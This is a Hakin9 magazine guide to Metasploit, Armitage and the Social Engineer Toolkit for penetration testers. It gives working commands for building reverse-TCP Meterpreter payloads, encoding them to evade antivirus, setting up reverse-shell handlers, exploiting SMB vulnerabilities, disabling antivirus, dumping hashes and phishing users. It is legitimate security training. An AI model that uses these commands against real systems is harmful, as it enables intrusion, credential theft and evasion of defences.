Search for Allowed Ports Automatically If you find it hard to locate a port that is allowed through the firewall, Metasploit offers the command search ports. This payload searches for open ports by trying every available port connecting outbound until it finds an open one. This process may take quite a long time. If you manage to open one or more sessions you can list your active sessions by executing sessions -l. To interact with an active session, issue the command sessions -i num, where num is the number of the session. A Meterpreter shell will open and if we enter shell, we will jump into a windows command line shell.

Fuzzing

Figure 13. Available targets for SMB exploit

16

Fuzzing or fuzz testing is an automated or semi-automated black box software testing technique that automates the process of data

TBO 01/2013

generation and injection to discover bugs, crashes, maximum overflow capacities and memory leaks in software applications, protocols, file formats and computer systems by providing invalid, unexpected and random data to the inputs of the system. Metasploit contains numerous fuzzer modules that can be used to test software applications, computer systems and protocols. To quickly see a list of available fuzzers run msfconsole, type info auxiliary/fuzzers/ and hit tab button (Listing 2).

FTP Pre- authentication and Postauthentication Fuzzing The ftp_pre_post fuzzer module will connect to a

FTP server and perform pre- authentication and post-authentication fuzzing. To select this fuzzer module, execute use auxiliary/fuzzers/ftp/ftp_ pre_post. Set rhosts and run the module or type show options first to configure the module (Figure 14).

HTTP Form Field Fuzzer Metasploit provides us with a http_form_field fuzzer module. This module will grab all fields from a form, and launch a series of POST actions, fuzzing the contents of the form fields and headers. To use this module type use auxiliary/fuzzers/ http/http_form_field.

Meterpreter

Figure 14. Running ftp_pre_post fuzzer

Meterpreter is an advanced, stealthy, powerful and extensible post exploitation tool that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API.

Listing 2. Command executed in the attacker machine msf > info auxiliary/fuzzers/ info auxiliary/fuzzers/dns/dns_fuzzer info auxiliary/fuzzers/ftp/client_ftp info auxiliary/fuzzers/ftp/ftp_pre_post info auxiliary/fuzzers/http/http_form_field info auxiliary/fuzzers/http/http_get_uri_long info auxiliary/fuzzers/http/http_get_uri_strings info auxiliary/fuzzers/smb/smb2_negotiate_corrupt info auxiliary/fuzzers/smb/smb_create_pipe info auxiliary/fuzzers/smb/smb_create_pipe_corrupt info auxiliary/fuzzers/smb/smb_negotiate_corrupt info auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt info auxiliary/fuzzers/smb/smb_tree_connect info auxiliary/fuzzers/smb/smb_tree_connect_corrupt info auxiliary/fuzzers/smtp/smtp_fuzzer info auxiliary/fuzzers/ssh/ssh_kexinit_corrupt info auxiliary/fuzzers/ssh/ssh_version_15 info auxiliary/fuzzers/ssh/ssh_version_2 info auxiliary/fuzzers/ssh/ssh_version_corrupt info auxiliary/fuzzers/tds/tds_login_corrupt info auxiliary/fuzzers/tds/tds_login_username info auxiliary/fuzzers/wifi/fuzz_beacon info auxiliary/fuzzers/wifi/fuzz_proberesp msf > info auxiliary/fuzzers/

www.hakin9.org/en

17

A GUIDE TO METASPLOIT Useful Meterpreter third party scripts Once you have successfully compromised a target, you could use the scripts below within a Meterpreter shell in order to retrieve valuable information. To run one of the scripts below enter run followed by the name of the script, for ex. run winenum. • Grab system information and the entire registry with scraper script • Dump tokens, hashes and more with winenum • Enumerate system information through wmic using remotewinenum • Add entries to the Windows hosts file using hostsedit • Get the local subnet mask of the victim with script get_local_subnets • Disable most antivirus programs running as a service with killav script • gettelnet script will enable telnet • Enable RDP with script getgui • Disable security measures such as antivirus, firewall, and more with getcountermeasure • Check to see if you exploited a virtual machine, checkvm

Metasploit Database

• db _ connect username:passwd@localhost/dbname, connect to a database • db _ disconnect, disconnect from database • db _ destroy username:passwd@localhost/dbname, to delete the specified database

Conclusion Although it matters what tools you are using to conduct your penetration testing, it is not all about the tools. Penetration testing requires you to think outside of the box. The key to a successful penetration test is being able to connect and correlate the information that you have managed to collect. There are several different ways to break into the systems and a variety of tools to use but you have to be patient, persistent and creative. Metasploit is an amazing tool with many benefits that will help you achieve your goal but you will not accomplish anything without hard work and study. And remember, you cannot just download Metasploit and start scanning and exploiting random targets on the Internet. You need write permission from the owner or administrator of the system to conduct a penetration test against the system. Be careful otherwise you may end up behind bars.

Every time we are running a module, the Metasploit database is being updated with data. This is an amazing feature of Metasploit, because it is impossible to remember all this information. There are specific commands to pull information from the Metasploit database. Some of them we have already seen them during our tests. Pull information • hosts command will list all of the hosts in the database • notes command will output the notes that Metasploit has for each host • services command will display the identified services on the target machines • vulns will list all of the discovered vulnerabilities for each target machine • creds will list all stored credentials To get more help and details about each command you can issue the command in msfconsole, followed by parameter -h. Administering Metasploit Databases There are also commands to administer databases: • db _ create username:passwd@localhost/dbname, create a new database

18

GEORGE KARPOUZAS

George Karpouzas is a co-founder of WEBNETSOFT (http://webnetsoft.gr), a software development and IT Services company. He is working as a software developer for the past seven years. He is a security researcher and an information security consultant for WEBNETSOFT, specializing in application security. He holds a bachelor’s degree in computer science from Athens University of Economics and Business. You can also find the answers to any security questions on his blog http:// securityblog.gr.

TBO 01/2013

International Conference On

“Diversifying Trends in Technology & Management” 6 - 7 April’ 2013 at

Indian Institute of Technology (IIT - Delhi) New Delhi, India.

CTIJTM

Important dates th Last date of Full Paper Submission: 5 March’ 2013 th Last Date of Full Paper Submission: 15 March’2013 (With Late Fee) For More Details Visit “http://journal.cybertimes.in” *Conditions Apply.

Chief Guest: l

Dr. Gulshan Rai,

Director General, CERT-In, MIT, India.

Guest of Honour: l l l

Justice Talwant Singh, CBI Judge, Delhi, India. Mr. Rajiv P Saxena, Deputy Director General, NIC, Govt. of India. Shri V.K. Panchal, (Scientist-G, DTRL, DRDO). Organized by

http://journal.cybertimes.in Ph: +91-9312903095 *Conditions Apply.

Sponsored by R

(http://journal.cybertimes.in)

(www.sedulitygroups.com)

For Sponsorship, Contact - Email: [email protected], Ph: +91-9312903095.

A GUIDE TO METASPLOIT

Metasploit: An Introduction Metasploit Framework is a tool for developing and executing exploit code against a remote target machine. It provides end to end framework for penetration testing for: Information gathering, Vulnerability Scanning, Pre Exploitation, Post Exploitation, Exploit Development.

etasploit greatest advantage is that it is open source and freely extendable. You can customize it by including your exploit and payloads as per your need. A security pentester can check the custom made applications specific to an enterprise against his customized exploits and payloads. If a security researcher crafts a new attack, then a custom made payload can carry out most of the attack purpose. Today, software vulnerability advisories are often accompanied by a third party Metasploit exploit module that highlights the exploitability, risk, and remediation of that particular bug

Architecture of Metasploit

Figure 1. The architecture of Metasploit

Figure 2. Metasploit’s features

M

20

For the sake of simplicity, we shall concentrate only on the Interface and the module part of Metasploit for this article (Figure 1).

Platform Used for demonstration We are currently demonstrating Metasploit features with the help of Backtrack OS. All screen

TBO 01/2013

shots of working of metasploit are taken from there. We have VMware image of Backtrack 5 R1 OS with this configuration: Figure 2. We login in Backtrack 5 R1 OS with credentials as root and password as toor. Type startx to load the GUI screen of Backtrack.5. Metasploit is typically found on this location in Backtrack OS.

Metasploit Interfaces • Msfconsole: The console and the most powerful of all interfaces. Can support multiple sessions • Msfcli: Single command interface. Supports only one session • Msfd: Provides a network based interface to msfconsole • Msfweb: This is web based interface.

Good Practices for using Metasploit Updating via Msfupdate

It is always beneficial to have updated Metasploit framework before beginning to work on it. This way we can stay current for all the exploits and payloads offered for the framework. We use the Msfupdate utility to update the Metasploit framework. Here is the path for the Msfupdate utility: Figure 3.

Port scanning via Nmap It is good idea to identify the open ports and the services running on them using a versatile tool such as nmap. It gives us the clearer picture on what areas and ports we need to focus our energy to run the exploit. Knowing the service version number helps us greatly to select the known exploits available in Metasploit with their associated payloads. Here is an example of the nmap scan: Figure 4.

Meterpreter: Metasploit’s Payload A payload is the piece of software that lets you control a computer system after it’s been exploited. It is typically attached to the exploit. Meterpreter is the best known payload of Metasploit.

Figure 3. Run Metasploit

www.hakin9.org/en

Meterpreter enables users to control the screen of a device using VNC and to browse, upload and download files.

What typically payloads allow you to do after execution of exploit? • Add a new user to victim machine • Opening the command prompt on a specific port of victim system and running the commands from there • Reverse connecting a command shell to issue the commands from your end

What is a meterpreter? Meterpreter is short form for “Metasploit Interpreter” which is a powerful payload allowing you to do many things on the compromised system such as manipulating local files in system etc. Used for write and execute advanced commands on the default shell of the victim system.

What makes Meterpreter so powerful? Meterpreter runs ‘’in memory’’ of the exploited process which makes it very quiet and stealthy to evade detection by the antivirus and other analysis tools. It leaves very small traces in the compromised system while in turn giving the attacker maximum space to carry out activities such as navigating local file system, port forwarding, tunnel connection from victim machine to other system, push entries in registry, modify network configuration, download confidential files etc. In short, once you get the meterpreter running you can pretty much do anything related to a hacked system.

How this is achieved? Meterpreter achieves this by providing API on which programmers can write their specific extensions which can be uploaded as shared DLL’s running within the memory of the exploited process.

How this is helpful to pentesters’? Metasploit using meterpreter avoids executing a new process or sub-process and maintains the

Figure 4. Using nmap

21

A GUIDE TO METASPLOIT stealth-ness of the attack. It comes with built-in commands and extensions that allow obtaining system information, configuring port forwarding, as well as uploading and executing binaries and DLLs. It basically evades detection largely by any analysis tool.

Running Metasploit This is the path for running metasploit from backtrack OS (Figure 5). Once started, we get the msfconsole as follows: Figure 6.

Methodology for running an exploit from msfconsole commands • show exploits: This command will give you the extensive list of the exploit available in Metasploit (Figure 7). • use : Using the exploit for your victim machine

• show payloads: Gives out the name list of available payloads specific to exploit chosen (Figure 8). • set PAYLOAD : Sets the payload which is actually executed after successful execution of your chosen exploit (Figure 9). • show OPTIONS: Lists out the options such as RHOST, TARGET followed by its value associated with the selected exploit and payload (Figure 10). • set options : Sets the OPTIONS for the chosen exploit and payload. Values are typically shown here for each option (Figure 11) • exploit: Executes the Exploit against target (victim’s) system If exploit executes successfully, then the payload embedded in it is injected into the victim machine to carry out the intended activity. If unsuccessful, then corresponding error message is shown.

Msfencode Many times during payload execution, we come across ‘’’bad’’ characters such as Null (0X00) byte, new line characters which can be trapped by built in application which uses sanitization filters on received input. This utility helps us to encode the exploit and get rid of bad characters to bypass those input filters. It also significantly reduces the dangers of being caught by IDS tool.

Figure 5. Run Metasploit

Figure 8. Available payloads

Figure 9. An exectuted payload

Figure 6. The console Figure 10. Options

Figure 7. Available exploits

22

Figure 11. Set the option

TBO 01/2013

Example Suppose we are producing meterpreter executable met.exe as follows: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 X > /var/www/met.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 290 Options: LHOST=192.168.1.67,LPORT=4444

Now, when we try to download this file from the “victim” PC, we get an error message because our antivirus has detected an intrusion attempt. Let us see what happens when we apply the encoding techniques: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -t exe > /var/www/metenc1.exe [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

Notice the size of the file changed from Length: 290 to size 318. The text marked in blue shows us that the attack has been successful.

How does it help the pentester? Pentester has more control and flexibility for crafting his payloads and sent them across its target. He can now demonstrate more creativity to encapsulate his payloads for delivering to destination host machine to achieve its exploit’s objective.

• db_import_nessus_nbe: Import an existing Nessus NBE output file • db_import_nmap_xmlI: Import data from an existing Nmap XML output file • db_nmap: Execute Nmap through the framework and store its results in the database The command db_autopwn, references the reconnaissance data, links it up with matching exploit modules, selects exploit modules based on open ports and launches the exploit modules against the matched targets.

Using db_autopwn See Figure 12.

Auxiliary Module system The Auxiliary module system is a collection of exploits and modules that add to the core capability of the framework. They are basically suited for information gathering purposes. These are automated scripts performing a certain task. We can specify single or multiple ranges to be targeted. Popular uses are in port scanning, fuzzers, DoS scripts etc.

Popular Auxillary Modules • scanner/smb/version: Determine the operating system version and service pack level of a Windows target system using SMB fingerprinting. Use info for more information

Automating the Pentest We can completely automate a pen-test from scanning remote systems to identify vulnerabilities, and then launch exploits against these systems. We have the following options to import reconnaissance data:

Figure 13. Scanner/discovery/sweep_udp

Figure 12. Using db_autopwn

www.hakin9.org/en

Figure 14. All modules with scanner/http

23

A GUIDE TO METASPLOIT • scanner/discovery/sweep_udp: Scans a single host or a specified range of hosts for UDP services, and decodes the results. Eg. Figure 13.

Searching Auxiliary modules We can narrow down our search to a few modules when using search operator. E.g.. Search all modules with scanner/http (Figure 14).

How it is helpful to pentesters? The auxiliary module system allows excellent information gathering activities, matching systems to available exploits, executing exploits, managing the multiple exploit sessions, and storing all of this information in a database.

Social Engineer Toolkit This toolkit was created to fill the gap between the penetration testers’ and social engineering. This helps tremendously to craft a clever malicious file to trap innocent users to click on it. The interface is very simple to use. Just select the option no in the menu and we are good to go!

We can access the SET toolkit as follows: Figure 15. We are greeted with SET toolkit splash screen as: Figure 16. Now in this menu driven program, all we have to do is select our attack vector, craft it as per instruction and send the link / email to the user. The innocent user when opens the link or attachment falls victim to our social engineering tricks and we have easy access to his system. We can try all the options in the SET toolkit menu and follow the instructions accordingly to launch a successful attack t compromise the victim machine.

How this is helpful to pentesters’? Pentesters can now readily demonstrate to management how an attacker with malicious intent can abuse the trust of the people of the organization to gain access to the most sensitive information. By exploiting and presenting the real world tests on phishing, it can be shown that social engineering is the strongest threat to the organization. Its target is people, not the systems to gain access to confidentiality.

General Precautions for using Metasploit Figure 15. Access the SET toolkit

Figure 16. SET toolkit screen

24

Metasploit is no doubt a very powerful and handy tool for an effective and thorough penetration and exploit testing. But if used improperly, may result in very unpleasant situations where whole server might be forced to shut down during testing costing millions to an organization. Here are some good practices to follow whenever we are going for penetration and exploit testing. • Proper backup: It is highly recommended that the backups must be taken before any penetration exercise is undertaken, else the loss of information and its unavailability for the time being might prove fatal to business if in case something goes wrong. It works as a second line of defense. • Prior management approval: It is crucial that proper “written” authorization letter is obtained from management before proceeding for any exploit testing. This removes the burden of facing any legal lawsuits if in case things go wrong. • Inform first, and then exploit: The good rule of thumb is to inform the senior management about the risk and ask their call on the issue. If you receive green signal to proceed with the exploitation part, obtain written approval and then demonstrate.

TBO 01/2013

References

• http://www.metasploit.com/ • http://blog.metasploit.com/ • http://www.offensive-security.com/metasploit-unleashed/ • http://en.wikipedia.org/wiki/Metasploit_Project • http://www.metasploit.com/about/penetration-testing-basics/payload.jsp • http://www.offensive-security.com/metasploit-unleashed/ • http://insidetrust.blogspot.in/2010/08/hacking-techniques-using-msfencode-to.html • Metasploit Toolkit for Penetration Testing by David Maynor • Metasploit: The Penetration Tester’s Guide by David Kennedy

• Training: Security awareness is the strongest deterrent for any risk for valuable information leakage. Through the live demonstration of SET inform the IT and other office staff how to stay on guard by not falling victim to the social engineering methods.

Conclusion Metasploit is helpful in determining if the given vulnerability is actually exploitable or not. It lets us know if there actually a risk associated with the vulnerability which can be exploited. This automatically cleans out any instances of false positive which are typical feature of many automated scanners. Automated scanners don’t tell you if vulnerability is a potential risk or not as they don’t check that against a known exploit. But metasploit does that. Hence, a better risk assessment judgment can be made using metasploit. Metasploit can also be frequently used by pentesters to demonstrate successfully the potential extent of damages that an attacker is capable of after successful break-in by or post exploitation activities. This can also help us to better rate the severity of the risks associated with the discovered vulnerability of the system.

MANASDEEP

Manasdeep – currently serves as a Security Analyst in the Security Assessment team at NII Consulting, Mumbai. His work focuses on conducting Security Audits, Vulnerability Assessment and Penetration Testing for NII’s premier clients. He has flair in technical writing and shares his thoughts on his blog “Experiencing Computing...” at http://manasdeeps.blogspot.in. He has also published information security paper(s) in International Journal of Computer Science and Information Security (IJCSIS) along with various seminar / conference proceedings.He loves to apply innovation freely in his work to find more creative ways to address a given problem.

www.hakin9.org/en

A GUIDE TO METASPLOIT

Cyber Attack Management with Metasploit

Armitage is a GUI interface for the Metasploit framework. The Metasploit Framework is a free, open source penetration testing solution. As of this review, the Metasploit Framework contains 713 exploits, 362 auxiliary modules, and 58 post exploitation modules for a variety of operating systems and applications.

A

26

rmitage enables the penetration tester to quickly and easily harness the power of Metasploit. To get started with Armitage, download the latest version of the Metasploit framework from http:// www.metasploit.com. Launch the metasploit console and type: load xmlrpc (see Figure 1). Then launch Armitage and enter the XMLRPC Password provided (see Figure 2). Note: This password randomly changes on each new load. One negative comment I have at this point is that it is sometimes hard to read the password under the font style utilized. For instance, the number 1 could be mistaken for the letter l and the number zero 0 for the capital letter O and vice versa.

Armitage makes it very easy to find what you are looking for by separating all the modules out into a directory tree (see Figure 3). You can even search for a specific module by entering the first few letters of the module name or exploit. To use a module, all you need to do is double click on it and enter the information requested. I have noted some issues with running modules this way so I always use the module through the console window. In addition, when devices are identified, the first icon always jumps to the bottom of the viewing screen in the Graph View. I usually switch this view into the Table View under Targets, under View, so that I can see a list of the devices. Once a device is loaded, you can right mouse click on the device to choose different options such as identifying the services or conducting port scans on the

Figure 1. load xmlrpc

Figure 2. Launching Armitage

TBO 01/2013

Figure 3. Directory tree

device. Note: Metasploit uses nmap as the default port scanner. Once the ports/services are identified, you can map possible vulnerabilities to these ports by allowing Armitage to find possible attacks. Again, by selecting the exploit, you can specifically target and quickly identify vulnerabilities that can be exploited on the device. The item that I love the most about Armitage is when a vulnerability is discovered, the icon of the device changes to a red lightning bolt that ‘hugs’ the device letting you know that you have just taken control of that device. From there, you can launch several different post modules with a click. As mentioned earlier, when you run modules by point-and-click, you don’t always see the progress of the modules; however, launching the exploit from the console provides you detailed information on its status. With Armitage’s built in database, you can keep track of the devices, credentials, and other items pertinent to your pentesting assignment. Since Armitage is basically a front end for Metasploit, all of the functionality is available such as passing-the-hash, pivoting, use of the meterpreter payload, etc. Sometimes the modules run a little slow so you may have to wait for the results, but overall, Armitage is a great tool to use on a penetration assignment.

JOHN ‘JAY’ TRINCKES, JR

John ‘Jay’ Trinckes, Jr. is Vice President of Information Security at Ohio Shared Information Services (OSIS), a 501(c)3 non-profit organization that assists Federally Qualified Health Centers (FQHC) with IT and security related services along with full adoption of NextGen’s suite of financial/clinical solutions to improve the quality of care delivered to the underserved population.

www.hakin9.org/en

A GUIDE TO METASPLOIT

Cyber Attack Management with Armitage

Metasploit has now become the industry standard product for penetration testing. Armitage leverages the functionality of Metasploit and provides a complete graphical interface to it. The article describes how to set up a penetration testing scenario using Armitage. It moves swiftly from basics to some advances concepts and covers several important aspects of penetration testing using Armitage.

28

rmitage is a penetration testing platform that runs over Metasploit framework and uses its modular structure to create a graphical interface of the framework. Armitage organizes Metasploit’s capabilities around the hacking process. Armitage has almost the same features as Metasploit with few differences but the reason which has led to the popularity of this tool is the ease with which it can be used. Armitage is the most recommended platform for those who are new into the field of penetration testing. Armitage has all the primary features of a pentesting framework like discovery, access, postexploitation, and maneuver. Armitage’s dynamic workspaces let you define and switch between target criteria quickly. Armitage can launch targeted

A

scans, vulnerability assessment, figure-printing and also imports data from many other security tools like nmap, Nessus, Dradis etc. Armitage visualizes your current targets so you’ll know the hosts you’re working with and where you have sessions. Armitage recommends possible exploits along with attack parameters and will optionally run active checks to tell you which exploits will work. The Graphical interface of Armitage gives it an upper hand over Metasploit as it eases up the process of penetration testing to a considerable degree. Armitage can also perform a wide range of postexploitation activities by leveraging the power of its built-in meterpreter agent. With the click of a menu we can log keystrokes, escalate our privileges, browse the file system, dump password hashes, and use command shells. So using Armitage we can further ease our penetration testing process by various ready-made features provided by the tool. So let us start our chapter with the basics of setting up Armitage with Metasploit

Figure 1. Armitage connection window

Figure 2. Armitage login GUI

TBO 01/2013

and later on we will analyse port scanning, pre exploitation and post exploitation with Armitage.

Getting Started With Armitage Backtrack is considered the ideal operating system for penetration testing and it comes with a preinstalled copy of Armitage. To set up Armitage on Windows, we can download the installer from its official webpage http://www.fastandeasyhacking. com/download. In this tutorial we will be using Backtrack as the platform for working on Armitage. Armitage will be pre-installed in Backtrack 5R2. It can be launched by clicking on Applications on desktop and then navigating to Backtrack> Exploitation tools > Network Exploitation tools > Metasploit framework > armitage. A simple GUI will be loaded that will prompt you to connect to the metasploit repository so that it can load important libraries and database values. It will have default user, password as msf and test respectively. You can keep the DB driver as postgressql and finally the DB connect string as msf3:”8b826ac0”@127.0.0.1:7175/msf3. (Figure 1). Once these default settings are made, we can start the Armitage GUI by clicking on Start MSF. Setting up Armitage on Windows platform requires 2 additional support packages. These are: • Metasploit • Java development kit (Jdk) 1.6 Once you are through with the installation of Armitage(along with Metasploit and Jdk) you can

Figure 3. Armitage Nmap scanwindow

www.hakin9.org/en

launch it from the start menu. Alternatively, if you already have Metasploit installed then you can run the update and it will automatically add Armitage to your system. You can go to Start > Programs > Metasploit framework > Framework Update. Once the update is complete, you will find Armitage added to your Metasploit library as a module. Armitage can be started by navigating to Start > Programs > Metasploit framework > Armitage (Figure 2). You will see the connect GUI which will have default values set up for host, port, user and password. You can simply click on connect to start Armitage locally. Once you click on connect it will ask you to start the Metasploit RPC server. Click ‘yes’ and proceed to the main windows. To use Armitage on a remote Metasploit instance, you can change the IP address from 127.0.0.1 to the remote IP hosting the Metasploit server.

Scanning and Information gathering Once Armitage is up and running we can start with the most basic step of penetration testing, scanning and information gathering. Armitage comes with pre-installed support for Nmap, the most widely use network scanning tool. To launch an Nmap scan, you can click on Hosts then Nmap scan. Let us do a quick operating system detection scan and see if any hosts are present in our target network or not (Figure 3). Giving a quick look at the Armitage window, there is a search panel on the left where we can search for all different modules present in the framework, which is not as easy when working with msfconsole. Further down we can see the msfconsole panel from where we can execute any Metasploit command that we have seen so far. So we have the power of both GUI as well as the command line when we are working with Armitage. To start with our scanning process, Armitage will ask us for an IP or a range that it will scan. Let us give a scan range of 192.168.56.1/24 which will scan the entire network for us and return the operating system versions of any detected live hosts (Figure 4). Once the scan is complete, it will display all the live hosts, their possible operating systems and network topology in the form of images as shown in the figure. So in our case there are three

29

A GUIDE TO METASPLOIT live hosts of which 2 are running Windows while one is running Linux. Now our next step will be to gather more information about our live targets so that we can choose relevant exploits for penetration testing. Armitage automates almost all the important functions of Metasploit and they can be accessed simply by the click of a mouse. Right clicking on the image of the target will provide us with the option ‘Services’. Clicking on it will open a new tab that will list open ports and the services running on those ports. In this way we can gather lots of relevant information about multiple targets with just few clicks. Open ports and services running on it can be vital infor-

mation in the process of penetration testing, as it can lead us to a security hole that can be exploited to gain access to our target system (Figure 5). Another important thing to note here is the different tabs that Armitage creates for every new request. This is a major advantage that Armitage has over Metasploit. These multiple tabs help us handle multiple targets at the same time with ease. We can easily switch between targets and simultaneously run multiple penetration tests on them. At any time if we are falling short of options in Armitage then we can go to the Console tab and try out Metasploit commands directly there. This is a huge advantage that Armitage has over Metasploit. Handling of multiple targets increases the efficiency of penetration testing.

Finding Vulnerabilities and attacking the target

Figure 4. Nmap scan displaying live hosts

Figure 5. Open ports and running services on live targets

30

One of the major challenges that pen-testers often face is finding a vulnerability that can be compromised to gain access to the target system. Here we will see how Armitage can automatically scan for known vulnerabilities on the targets that we discovered in our nmap scan. Armitage automates the process of discovering exploits for targets based on ports open and vulnerabilities existing in the operating system. For Example, if a Windows 7 machine has Remote desktop enabled, then Armitage will list the different RDP vulnerabilities disclosed till date. This automation process will not always yield correct results as the exploits searched totally depend on the results returned from the initial nmap scan. If the OS discovery provides erroneous information, then the exploit will not work. Once the targets have been discovered, Armitage has an option ’Attacks’ which can look for known exploits based on open ports and OS vulnerabilities for the targets discovered. To find exploits, click on Attacks > Find Attacks > By port or by vulnerability. Once the exploits have been

TBO 01/2013

discovered by Armitage, we will find an extra option of “Attack” on right clicking on the target image. This option reflects different attacks discovered by Armitage for that particular target (Figure 6). Let us move ahead and exploit our Windows target. We can use the SMB ms_08_047 netapi vulnerability to exploit the target. We can find this exploit by right clicking the target and moving to Attack > smb > MS_08_047 netapi exploit. We can also check “use a reverse connection” to get a connection back to us once the exploit is executed successfully. On successful execution of an exploit, we will notice three things: • The image of target changes to red with lightining bolts around it showing successful exploitation • Right clicking the target gives us the option for meterpreter channel • The msf console shows the opening of session (Figure 7).

You can see how easy it is to exploit a target without passing any commands. The GUI provides all features that are command-driven in Metasploit. This is the reason why Armitage adds more power to the framework. But a good knowledge of msfconsole commands is essential. We cannot solely depend on GUI.

Handling multiple targets using TAB switch So far we have seen how Armitage GUI eases the process of exploitation. During the course of penetration testing there can be scenarios where we have to handle multiple targets at a time. While dealing with multiple targets in Metasploit, we have to switch between sessions in order to manage them as Metasploit creates different sessions for different targets. Armitage further eases this process of handling multiple targets at a time by introducing the concept of “tabs”. Let us see how it is done. We still have two more targets available to us from our nmap scan result. We can exploit our windows 2008 server by right clicking on it and selecting an exploit. Alternatively we can also start a new console by clicking on View > console. This will start a new console where we can use command line to compromise the target. Let us set up a multi handler and exploit the target using a client-side vulnerability. msf > use exploit/multi/handler msf exploit(handler) > set payload windows/ meterpreter/reverse_tcp

Figure 6. Armitage Attack window payload => windows/meterpreter/ reverse_tcp msf exploit(handler) > exploit [-] Handler failed to bind to 192.168.56.101:15263 [-] Handler failed to bind to 0.0.0.0:15263 [-] Exploit exception: The address is already in use (0.0.0.0:15263). [*] Exploit completed, but no session was created.

Figure 7. Armitage compromised target window

www.hakin9.org/en

The point to note here is that we are now working on a command line console. This means that Armitage also gives us the flexibility to use both the command line as well as the graphical interface. You can see that the ex-

31

A GUIDE TO METASPLOIT ploit command threw an error that it can’t bind a reverse handler on 192.168.56.101:15263. This is because we have already set a reverse connection on this port while exploiting the Windows XP target. So we will have to change the port number and attempt to use the exploit command again. msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.56.101:1234 [*] Starting the payload handler...

Now once the client side exploit executes successfully, we will have a reverse connection and we will have lightning bolts against our 2008 server target indicating that we can now have control over it. Again, here we have different tabs for different targets. We can easily interact with any compromised target by switching between tabs (Figure 8). This is yet another important feature of Armitage that eases the process of penetration testing. This can be very beneficial when we are dealing with multiple targets in a network, which is generally the typical scenario for a penetration test.

Post Exploitation with Armitage

Figure 8. Different tabs for targets

Figure 9. Armitage window displaying live screenshot of compromised target

32

So far we have seen how Armitage can be handy in handling multiple targets. Once the targets are exploited, our next step will be to perform various post exploitation activities. Armitage leverages all the powerful post-exploitation function of Metasploit, most primarily, meterpreter. Let us see how Armitage can be handy in the post-exploitation phase as well. We will analyse our exploited Windows XP target and see how we can perform several post-exploitation activities on it. Once a target has been exploited, we can follow several meterpreter options by right clicking on its image. There are some commonly used post exploitation actions available to us like access, interact, pivot, keystrokes capture, screenshots, etc. We can perform several actions by making just a few clicks. Let us perform the first and most essential phase of post exploitation i.e., privilege escalation. We can find the option by right clicking on the target image, then browsing to meterpreter > Access > Escalate privileges. Another interesting post-exploitation activity is screenshot which can be browsed through meterpreter > Explore > Screenshot. The screenshot of target desktop will be displayed in a new tab which

TBO 01/2013

can be refreshed whenever you wish. The following figure demonstrates it (Figure 9). You can see that the screenshot has been displayed in a new tab which has two buttons at the bottom. The Refresh button will display a fresh screenshot whereas Watch button will refresh the screenshot after every 10 seconds. Similarly you can try out lots of click-to-server post-exploitation options available in Armitage to speed up the process of penetration testing. This was a small demonstration of using Armitage as a potential extension for Metasploit in order to speed up the process of exploitation. The real power of Armitage can be understood only when we have full command over Metasploit. The combination of a powerful command line with a GUI makes Armitage a perfect tool for penetration testing.

verse handlers to listen for connections across the network.

Conclusion This was a small yet comprehensive discussion about Armitage and its features. The point to note here is that the real power of Armitage can be understood only when we make full use of both its GUI as well as the console. Hence in order to get the best pen-testing results, a combination of both GUI and command line is required. It is a powerful tool and fairly easy to use. The user friendliness of Armitage makes it a “must have” tool for all penetration testers and security professionals.

Pivoting with Armitage Pivoting is the process of port forwarding the connection from a compromised machine to other machines in the same network. Consider a scenario where you want to penetrate a web server which has high security measures. The other nodes connected to that web server may have less security measures and hence can be attacked successfully. Once the node has been compromised, you can pivot the network to communicate with the web server through the compromised node. Thus an indirect access to the web server is possible. Armitage allows quick pivoting option where it automatically locates different machines available on same network. Once a machine has meterpreter option available after successful exploitation, pivoting can be launched by navigating to Meterpreter > Pivoting > setup

Once the process of pivoting is complete, Armitage will draw a green line from the pivot host to all the other reachable targets on the network. The other machines can be accessed by setting up re-

ABHINAV SINGH

Figure 10. Pivoting in Armitage

www.hakin9.org/en

Abhinav Singh is a young information security specialist from India. He has a keen interest in the field of Hacking and Network security and has adopted this field as his full time employment. He is also the author of “Metasploit penetration testing cookbook”, a book dealing with Metasploit and penetration testing. He is also a contributor of SecurityXploded community. Abhinav’s work has been quoted in several portals and technology magazines.

33

A GUIDE TO METASPLOIT

How to Use Metasploit for Security Defense

If you’ve ever taken any training about penetration testing, or read almost any book or online article about the trade, you’ve heard of Metasploit. Years ago, before penetration testing was a recognized professional field, exploiting a vulnerability was often an extremely onerous task.

I

dentifying a vulnerability might be as easy as fingerprinting a system then searching public mailing lists, but finding exploit code was often difficult. In many cases, researchers would release “proof of concept” exploit code that demonstrated a vulnerability, but did little more than launch the calc.exe program or other harmless activity. Furthermore, exploit code was often unreliable and required specific environments to build and compile. Thus, a vulnerability tester had to fingerprint systems, hunt across the internet and mailing lists for exploit code, create systems upon which to build and compile the code, then execute the code against target systems, and, with fingers crossed and baited breath, hope that the exploit worked. The situation was frustrating, and untenable for a professional class of penetration testers who wanted reliable, easy to access, exploit code to use professionally. Thus, Metasploit was born, as a framework to support standardized, tested exploit code. With Metasploit, exploit code could be packaged into “modules” in order to ensure they would work with the framework. Users of Metasploit only needed to ensure that Metasploit itself would run on a system, and exploits could be crafted for Metasploit, rather than having to rely on a testing lab full of machines of various architectures running several different operating systems in order to compile exploit code successfully. With Metasploit, testers could turn to a trusted tool and have confidence that modules included in the framework would work as advertised.

34

